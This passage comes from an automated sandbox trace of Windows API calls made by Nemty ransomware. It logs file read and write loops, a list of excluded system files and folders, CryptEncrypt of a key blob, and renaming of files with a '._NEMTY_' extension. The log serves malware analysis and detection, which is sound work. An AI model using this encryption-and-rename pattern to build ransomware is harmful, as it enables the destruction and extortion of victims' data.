lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.372] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.372] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.372] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.391] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.391] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.400] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.419] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.419] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.428] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.428] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.463] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0075.469] CloseHandle (hObject=0xffffffff) returned 0 [0075.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0075.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0075.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0075.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0075.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0075.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0075.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0075.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0075.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0075.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0075.469] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png._nemty_kgobjgd_")) returned 0 [0075.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0075.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0075.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0075.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0075.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0075.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0075.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0075.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0075.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0075.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.470] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2=".") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="..") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="...") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="windows") returned -1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="$RECYCLE.BIN") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="rsa") returned -1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="NTDETECT.COM") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="ntldr") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="MSDOS.SYS") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="IO.SYS") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="boot.ini") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="boot.ini") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="ntuser.dat") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="desktop.ini") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="CONFIG.SYS") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="RECYCLER") returned -1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="BOOTSECT.BAK") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="bootmgr") returned 1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="programdata") returned -1 [0075.470] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="appdata") returned 1 [0075.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-static.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0075.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-static.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-next-static.png", lpUsedDefaultChar=0x0) returned 24 [0075.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0075.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-static.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0075.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-static.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-next-static.png", lpUsedDefaultChar=0x0) returned 24 [0075.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0075.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-static.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0075.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-static.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-next-static.png", lpUsedDefaultChar=0x0) returned 24 [0075.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-static.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0075.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0075.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-next-static.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-next-static.png", lpUsedDefaultChar=0x0) returned 24 [0075.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0075.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0075.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0075.471] Sleep (dwMilliseconds=0x5) [0075.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe0a3e250, dwHighDateTime=0x1d561e7)) [0075.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe0a3e250, dwHighDateTime=0x1d561e7)) [0075.486] GetLastError () returned 0x5 [0075.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.486] GetLastError () returned 0x5 [0075.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0075.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0075.486] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0075.486] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0075.487] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0075.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0075.487] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="JUiEme/0lG5Itk3GQS7WGSDa6CNV6oNYY3YiJKLw526Sja5oyDBdQp9V5lrCHxca\r\nhvBLsSf3xLoSquo/5gIbNImBrHOF0aEiLdpDQlXVs8m8G/rlJTT9VOlJXt2pSB9x\r\nlXCPsQ9BiO58XuXFL9m5h7KBh1lSpzED/NSbnN9+0rh1wdWotSSTh3e+hNL0ZkkR\r\nQVfDad3kJtxCKAEJoc2NDu6cdMbGHTBbKioOHTVaHgEEZL/myfMRDJ8wOO1t8g8a\r\nHkaf8z4IRUvOKkn1XSOXJrby09Mnbiw6llcuAjqMSWZyma5h59HLKVhttt+w/ytC\r\n3WT3JKOSc4Qtw02YjtnCHg==\r\n", pcchString=0x653e91c) returned 1 [0075.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0075.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0075.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0075.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0075.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0075.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0075.487] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.487] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0075.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0075.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.487] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.515] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.515] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, 